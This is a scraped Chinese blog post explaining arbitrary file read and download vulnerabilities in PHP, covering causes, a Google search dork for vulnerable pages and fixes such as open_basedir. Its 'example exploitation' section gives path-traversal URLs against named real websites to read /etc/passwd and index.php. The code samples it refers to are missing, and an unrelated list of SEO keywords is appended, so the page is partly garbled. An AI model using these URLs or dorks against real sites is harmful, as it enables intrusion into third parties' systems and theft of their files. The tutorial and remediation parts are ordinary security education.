任意文件读取与下载
发表于:2024-11-17 作者:千家信息网编辑
千家信息网最后更新 2024年11月17日,0x00 背景介绍一些网站的业务需要,可能提供文件查看或下载的功能,如果对用户查看或下载的文件不做限制,就能够查看或下载任意的文件,可以是源文件,敏感文件等等0x01 文件读取文件读取在PHP这种可以
千家信息网最后更新 2024年11月17日任意文件读取与下载
0x00 背景介绍
一些网站的业务需要,可能提供文件查看或下载的功能,如果对用户查看或下载的文件不做限制,就能够查看或下载任意的文件,可以是源文件,敏感文件等等
0x01 文件读取
文件读取在PHP这种可以有很多种方式实现,在web的默认情况下,$filename变量可能用户可控
#当变量 $filename 没有经过校验,或者校验不严格,用户可以控制这个变量读取任意文件,例如/etc/passwd、/config.ini 等文件
0x02 实现文件下载的两种方式
1.直接下载:
2.增加header头
当$filename没有经过校验,或者校验不合格,用户可以控制这个变量下载任意文件,比如/etc/passwd,./index.php、等等就造成了任意文件下载漏洞。
0x03 成因
都有读取文件的函数
读物文件的路径用户可控,且没有经过校验,或者校验不严格
都输出文件内容
0x04 Google Serch
inurl:"readfile.php?file="inurl:"download.php?file="
0x05 修复方案
过滤<.>(点)
正则判断用户输入的参数格式,匹配输入的格式是否合格
php.ini配置open_basedir
0x06 实例漏洞利用
(仅供测试,请勿随意破坏)
地址:
url:http://hypnet.org.uk/shared/readfile.php?file=mental_health_audit_2014_06_15_130552.ppt
漏洞利用:
http://hypnet.org.uk/shared/readfile.php?file=../../../../../../../../../../etc/passwd
地址:
url:http://storiedifarina.it/readfile.php?file=pdf/storiedifarina.pdf
漏洞利用
http://www.wodehouse.se/upload/readfile.php?file=../index.php
文件
用户
变量
漏洞
地址
文件下载
方式
格式
控制
输入
业务
内容
函数
功能
参数
实例
情况
成因
方案
正则
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
工控网络安全建设项目
汕头永和网络技术
数据库小技巧
关系数据库模式与关系模式
现在玩服务器
电大 数据库原理应用
观看网络安全秘籍
文科虚拟仿真软件开发工具
关于网络安全日的大标题
护苗.网络安全序列课程
数据库限制上传
安庆餐饮软件开发定制公司
注意网络安全作文500字
linux 重装数据库
郑州app软件开发服务费
阜阳电力软件开发公司
网络安全协议与分析
网络安全和信息组长是谁
目标网站的数据库路径
承本上海互联网科技有限公司
云服务器可以远程管理
微博大数据数据库设计
巴菲特 网络安全
软件开发行业交什么税
自动化网络技术心得体会
通讯管理机 串口服务器
数据库字段查询用中文表示
疫情期间网络安全新闻
服务器缓存删除
承本上海互联网科技有限公司